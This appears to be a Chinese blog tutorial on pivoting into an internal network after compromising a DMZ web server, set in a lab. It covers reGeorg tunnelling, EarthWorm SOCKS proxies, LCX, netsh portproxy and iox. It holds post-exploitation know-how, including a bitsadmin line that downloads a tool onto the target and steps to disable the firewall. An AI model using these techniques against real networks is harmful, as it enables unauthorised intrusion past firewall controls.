1、reGeorg:端口转发。是用于公网服务器只开放了80端口的情况。reGeorg是用 python 写的利用Web进行代理的工具,流量只通过 http 传输,也就是http隧道。reGeorg脚本的特征非常明显,很多杀软都会进行查杀。
现在有这么一个环境,我们获取到了位于公网Web服务器的权限,或者我们拥有可以往公网Web服务器web目录下上传任何文件的权限,但是该服务器开启了防火墙,只开放了80端口。内网中存在另外一台主机,这里假设内网存在一台Web服务器。然后,我们现在要将公网Web服务器设置为代理,通过公网服务器的80端口,访问和探测内网Web服务器的信息。
本地实验:DMZ主机IP:192.168.135.150(外网)和192.168.138.136(内网),内网主机:192.168.138.138
根据公网服务器网站是哪种脚本类型上传哪种类型的脚本。这里我搭建的是PHP网站,我就上传tunnel.nosocket.php脚本上去。
本地访问:上传成功
利用reGeorgSocksProxy.py建立一条隧道:
然后我们就可以利用一些代理工具Proxychains、Proxifier来进行代理,访问web站点,也可以直接使用浏览器设置代理:
成功访问内网主机:
通信过程中的数据传递:
使用proxifier代理:(设置全局代理,所有软件全部都走代理出口)
首先设置代理服务器:
之后添加一个例外,将python除去,不然陷入死循环。
然后默认代理和本机全部走代理通道:
可以看到全部的网络流量都走的1080:
再次访问:
这个时候因为代理都走的192.168.135.150这个主机(能上午),访问外网的速度变慢。
2、EarthWorm代理(EW)
EarthWorm是一套便携的网络工具,具有SOCKS5服务架设和端口转发两个核心功能。
EarthWorm能过够以正向、反向、多级级联等方式建立网络隧道。EarthWorm提供多个文件适用不同的操作系统!
该工具共有 6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。普通网络环境的正向连接命令是ssocksd,用于反弹连接的命令是rcsocks、rssocks。其他命令用于多级级联网络环境。
正向连接:
将ew传到对方服务器:bisadmin /transfer n url C:\ew.exe
开启正向代理:ssocksd
之后和前面一样,可以设置全局代理,也可以使用浏览器代理:
开启反向代理:
反弹SOCKS5服务器。这个意思是反弹到VPS端口8888然后我们在访问1080就可以访问到目标的内网了。就是将8888端口转发给VPS的1080
先将ew上传到vps中,然后使用命令开启数据接收端口和转发端口:
将ew上传到目标主机,开启代理:rssocks
建立连接之后vps上会显示建立通道:
之后和前面差不多:
通过全局代理的方式成功连接到192.168.138.138的数据库:
Navicat还支持最开始的HTTP代理隧道。
关于LCX端口转发:
这个既可以进行本地端口转发,也可以直接进行内网的端口转发。
首先在目标服务器上传lcx:然后使用-slave命令,将192.168.138.138 80端口传输到VPS上
VPS执行listen命令本地转发一次:将8000的流量转发到100
这个是转发到VPS上,所以访问的IP地址是VPS的地址。
也可以通过-tran参数直接转向:注意这是在DMZ机器的本地转发,所有访问的IP是DMZ机器的。
Netsh进行端口转发:netsh(Network Shell) 是一个windows系统本身提供的功能强大的网络配置命令行工具。自Windows XP开始,Windows中就内置网络端口转发的功能。任何传入到本地端口的TCP连接(IPv4或IPv6)都可以被重定向到另一个本地端口,或远程计算机上的端口,并且系统不需要有一个专门用于侦听该端口的服务。
命令:
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
首先关闭防火墙:
端口转发:
访问WEB服务的8080端口,就可以访问到内网主机:
删除端口映射:
Iox转发:https://github.com/EddieIvan01/iox
- 具有流量加密
- 友好的命令行参数
- 逻辑优化
- UDP流量转发
一些实验:
可以看到,和lcx不一样的是,可以将两个端口之间的流量互转。
类似-tran参数,可以实现本地端口转发
内网端口转发,将内网主机80端口转发到DMZ主机的8080端口:
访问DMZ主机即可访问内网80端口,和-tran参数类似:
DMZ主机执行转发,将80端口转发到VPS的8080端口
VPS将8080端口转发到VPS的3308端口:
访问VPS的3308可以访问内网80端口。
这个就相当于lcx的-slave参数加-listen参数
Iox的proxy代理功能:
DMZ主机开启socket5代理:将流量转发到VPS的8080端口
VPS进行代理转发:
之后配置代理工具即可:
即可实现代理功能: